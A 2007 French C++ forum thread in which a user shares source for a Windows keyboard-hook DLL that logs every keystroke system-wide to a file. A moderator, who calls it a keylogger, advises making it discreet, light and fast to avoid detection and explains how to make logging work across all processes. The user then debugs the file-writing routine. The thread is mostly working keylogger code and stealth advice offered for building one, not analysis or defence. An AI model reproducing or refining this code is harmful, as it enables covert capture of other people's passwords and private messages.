Hook clavier et fenêtre premier plan

Résolu
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007 - 26 févr. 2007 à 19:34
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007 - 26 févr. 2007 à 22:06
Salut à tous, j'ai un petit problème avec ce code la :

#include <windows.h>
#include <string>
#include
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }
        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
           //b, c...
            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

que je démarre avec un client ne marche que lorsque la fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela ?

Merci de votre aide.

8 réponses

BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
26 févr. 2007 à 20:57
Soit tu communiques avec prog lanceur qu'il enregistre dans le fichier, soit il faut ouvrir écrire et fermer depuis chaque instance de la dll.

Sans surcouche inutile (string et autres binious à la noix), ta dll doit tenir en 6 Ko maxi je pense.
CreateFile()
SetFilePointer()
WriteFile()
CloseHandle()

Ici pour réglages corrects:
http://www.cppfrance.com/code.aspx?ID=36940

ciao...
BruNews, MVP VC++
3
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
26 févr. 2007 à 20:45
Un handle fichier est invalide d'un processus l'autre.

Un keylogger ets habituellement fait pour être discret, léger et rapide (ne pas se faire trop repérer).
Pas avec ces bidules:
#include <string>
#include
#include <fstream>
que ce sera le cas.

ciao...
BruNews, MVP VC++
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 20:48
Si je change tout ça y'aura moyen d'empecher ça ?
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 21:00
Ok merci, je viens de trouver ce code que je test :

DWORD myfprintf ( LPCVOID texte )
{
    HANDLE  logfic;                         // Handle du fichier
    DWORD   taille=0;                       // Nombre d'octets effectivement écrits
   
    // Ouverture et positionnement à la fin du fichier pour ajout
    logfic = CreateFile ( FILENAME, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
    if ( logfic != INVALID_HANDLE_VALUE )
    {
        SetFilePointer ( logfic, 0, 0, FILE_END );
        WriteFile ( logfic, texte, strlen(texte), &taille, NULL );
        CloseHandle ( logfic );
    }
    return taille;
}

mais problème lors de la compilation : error C2664: 'strlen' : cannot convert parameter 1 from 'const void *' to 'const char *'
        Conversion from 'void*' to pointer to non-'void' requires an explicit cast

Je sais quel est le pb mais je ne sais pas comment y remedier, peux tu m'aider ? merci.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 21:25
Bon bha plus de problème j'ai mis const char* à la place de LPCVOID.

Merci à toi BruNews.
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 21:42
Bon en fait non ça marche plus, j'y comprend plus rien à ce machin.

Un peu d'aide plz :'(.
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 21:44
Bon dsl mais en mettant "c:\\log.txt" à la place de "log.txt" ça marche, j'y comprend rien mais j'ai plus de problème.

Merci encore.
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 22:06
Dernière petite question, lorsque je suis la ou le fichier est situé tout ce que j'écris est bien noté mais quand je ferme et que je vais écrire qqpart d'autre
j'obtiens deux fois la même lettre.

Comment empecher cela ?

merci.
0
Rejoignez-nous